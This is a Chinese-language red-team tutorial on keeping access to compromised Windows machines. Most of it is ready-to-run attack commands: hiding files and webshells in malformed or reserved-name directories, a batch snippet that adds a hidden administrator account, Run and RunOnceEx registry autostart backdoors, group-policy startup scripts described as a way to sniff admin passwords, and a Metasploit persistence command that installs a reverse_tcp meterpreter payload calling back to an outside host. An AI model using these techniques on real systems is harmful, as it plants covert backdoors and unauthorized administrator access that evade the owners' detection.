Windows權(quán)限維持學(xué)習(xí)
本文來自“白帽子社區(qū)知識星球”
作者：17
0x00 windows權(quán)限維持概述
紅隊行動中，在網(wǎng)絡(luò)中獲得最初的立足點是一項耗時的任務(wù)，因此，持久性是紅隊成功運作的關(guān)鍵，這將使團(tuán)隊能夠?qū)Ｗ⒂谀繕?biāo)，而不會失去與指揮和控制服務(wù)器的通信。?
權(quán)限維持機器：DMZ機器（作為跳板），跨段關(guān)鍵節(jié)點
”真正“隱藏文件?
使用attrib +s +a +h +r命令就是把原本的文件夾增加了系統(tǒng)文件屬性、存檔文件屬性、只讀 文件屬性和隱藏文件屬性。
attrib +s +a +h +r c:\test這樣不管是否隱藏文件，此文件都不可見
取消：
attrib -s -a -h -r c:\test系統(tǒng)文件夾圖標(biāo) 1.將文件名重命名為 我的電腦.
{20D04FE0-3AEA-1069-A2D8-08002B30309D}（這個是注冊表里 面的clsid，打開過后也是我的電腦）
2.其他clsid
{20D04FE0-3AEA-1069-A2D8-08002B30309D}{450D8FBA-AD25-11D0-98A8-0800361B1103}{992CFFA0-F557-101A-88EC-00DD010CCC48}{21EC2020-3AEA-1069-A2DD-08002B30309D}{D6277990-4C6A-11CF-8D87-00AA0060F5BF}{2227A280-3AEA-1069-A2DE-08002B30309D}{1FBA04EE-3024-11D2-8F1F-0000F87ABD16}{208D2C60-3AEA-1069-A2D7-08002B30309D}{645FF040-5081-101B-9F08-00AA002F954E}{85BBD920-42A0-1069-A2E4-08002B30309D}{BD84B380-8CA2-1069-AB1D-08000948F534}Web 文件夾 {BDEADF00-C265-11d0-BCED-00A0C90AB50F}
畸形目錄?
只需要在目錄名后面加兩個點（也可以是多個點），畸形目錄和windows版本有關(guān)聯(lián)。不是所有版本通用?
創(chuàng)建目錄：
md a...\ ，實際顯示為a..?
復(fù)制文件：
copy file c:\dir\a...\file/a.../file刪除目錄：
rd /s /q a...\
測試后發(fā)現(xiàn)好像在某些系統(tǒng)版本是可以訪問目錄的，但是圖形化界面還是無法刪除 利用系統(tǒng)保留文件名創(chuàng)建圖形化界面無法刪除的webshell，只能用命令行刪除 Windows下不能夠以下面這些字樣來命名文件/文件夾，包括：
aux/com1/com2/prn/con/nul但是通過cmd下是可以創(chuàng)建、刪除此類文件夾的，使用copy命令：
copy file \\.\c:\dir\aux.aspdel \\.\c:\dir\aux.asptype \\.\c:\dir\aux.asp
\\.\是Windows下的特性，創(chuàng)建文件的時候加上了那訪問的時候也必須加上
驅(qū)動級文件隱藏?
驅(qū)動隱藏最典型的現(xiàn)象就是系統(tǒng)盤存在以下文件
xlkfs.datxlkfs.dllxlkfs.ini...
使用軟件
Easy file locker因為其極具隱蔽性，因此可以利用來做服務(wù)器后門?？梢酝ㄟ^這個后門運行某些程序或者 腳本，比如創(chuàng)建一個管理員用戶
echo offnet user hack$ test168 /addnet localgroup administrator hack$ /addexit
運行->gpedit.msc->計算機配置->Windows設(shè)置->腳本（啟動/關(guān)機），組策略中的這個后 門可以利用來運行腳本或者程序，嗅探管理員密碼等
metasploit和sharpersist都提供了這種能力，在Windows登陸期間創(chuàng)建將執(zhí)行任意負(fù)載的注 冊表的項。
Run: 該項下的鍵值即為開機啟動項，每一次隨著開機而啟動，作為持久化后門
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /vtest /t REG_SZ /d "C:\Program Files (x86)\test.exe"reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce"/v test /t REG_SZ /d "C:\Program Files (x86)\test.exe"reg add"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices" /vtest /t REG_SZ /d "C:\Program Files (x86)\test.exe"reg add"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce"/v test /t REG_SZ /d "C:\Program Files (x86)\test.exe"
說明：/v 是指所選項下要添加的值名；/ve 添加空白值名（無名稱）；/t regkey數(shù)據(jù)類型，忽略則默認(rèn)采用REG_SZ（S：字符串類型，Z：以零字節(jié)結(jié)尾）/d 要分配給添加的值名的數(shù)據(jù)，開機啟動C:\Program Files (x86)\1.py/f 強行修改現(xiàn)有注冊表項
cmd把用戶從用戶組中刪除（即使是管理員用戶也需要單獨屬于Administrator組，不能同 時屬于其他用戶組）：
net localgroup 用戶組 用戶名 /delete如果已經(jīng)獲得提升的憑據(jù)（管理員和system權(quán)限），則最好使?本地計算機注冊表位置， ?不是當(dāng)前?戶，因為有效負(fù)載將在每次 系統(tǒng)啟動時執(zhí)?，?與使?系統(tǒng)身份驗證的?戶 ?關(guān)。通常HKEY_LOCAL_MACHINE中的設(shè)置優(yōu)先級要高于 HKEY_CURRENT_USER。此方法 也需要用戶單獨屬于Administrator組。
eg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /vtest /t REG_SZ /d "C:\Program Files (x86)\test.exe"reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce"/v test /t REG_SZ /d "C:\Program Files (x86)\test.exe"reg add"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices" /vtest /t REG_SZ /d "C:\Program Files (x86)\test.exe"reg add"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce"/v test /t REG_SZ /d "C:\Program Files (x86)\test.exe"
另外兩個注冊表位置?
允許紅隊人員通過執(zhí)行任意有效負(fù)載或DLL來實現(xiàn)持久性，這些將在登陸期間執(zhí)行，并且 需要管理員級別的特權(quán)（此方法也需要用戶單獨屬于Administrator組）。
reg add"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001"/v Pentestlab /t REG_SZ /d "C:\Program Files (x86)\test.exe"reg add"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Dep end" /v Pentestlab /t REG_SZ /d "C:\Program Files (x86)\test.dll"
msf 注冊表dll注入權(quán)限維持?
msf中帶有腳本和后期利用模塊來通過注冊表達(dá)到持久性，msf腳本將以vbs腳本的形式創(chuàng) 建一個有效負(fù)載，將負(fù)載拖放到磁盤上，并創(chuàng)建一個注冊表項，該注冊表項將在用戶登陸 期間運行該負(fù)載。
run persistence -U -P windows/meterpreter/reverse_tcp -i 5 -p 1234 -r 192.168.211.128
說明：-U #用戶登陸時啟用-P #指定payload-i #連接間隔時間-p #連接端口-r #連接主機
執(zhí)行結(jié)果說明：
C:\Users\natha\AppData\Local\Temp\buFUzcFJpNNFu.vbs #vbs負(fù)載所在路勁HKCU\Software\Microsoft\Windows\CurrentVersion\Run\uoHiFnBHv #注冊表項所在路徑
如果覺得本文不錯的話，歡迎加入知識星球，星球內(nèi)部設(shè)立了多個技術(shù)版塊，目前涵蓋“WEB安全”、“內(nèi)網(wǎng)滲透”、“CTF技術(shù)區(qū)”、“漏洞分析”、“工具分享”五大類，還可以與嘉賓大佬們接觸，在線答疑、互相探討。
▼掃碼關(guān)注白帽子社區(qū)公眾號&加入知識星球▼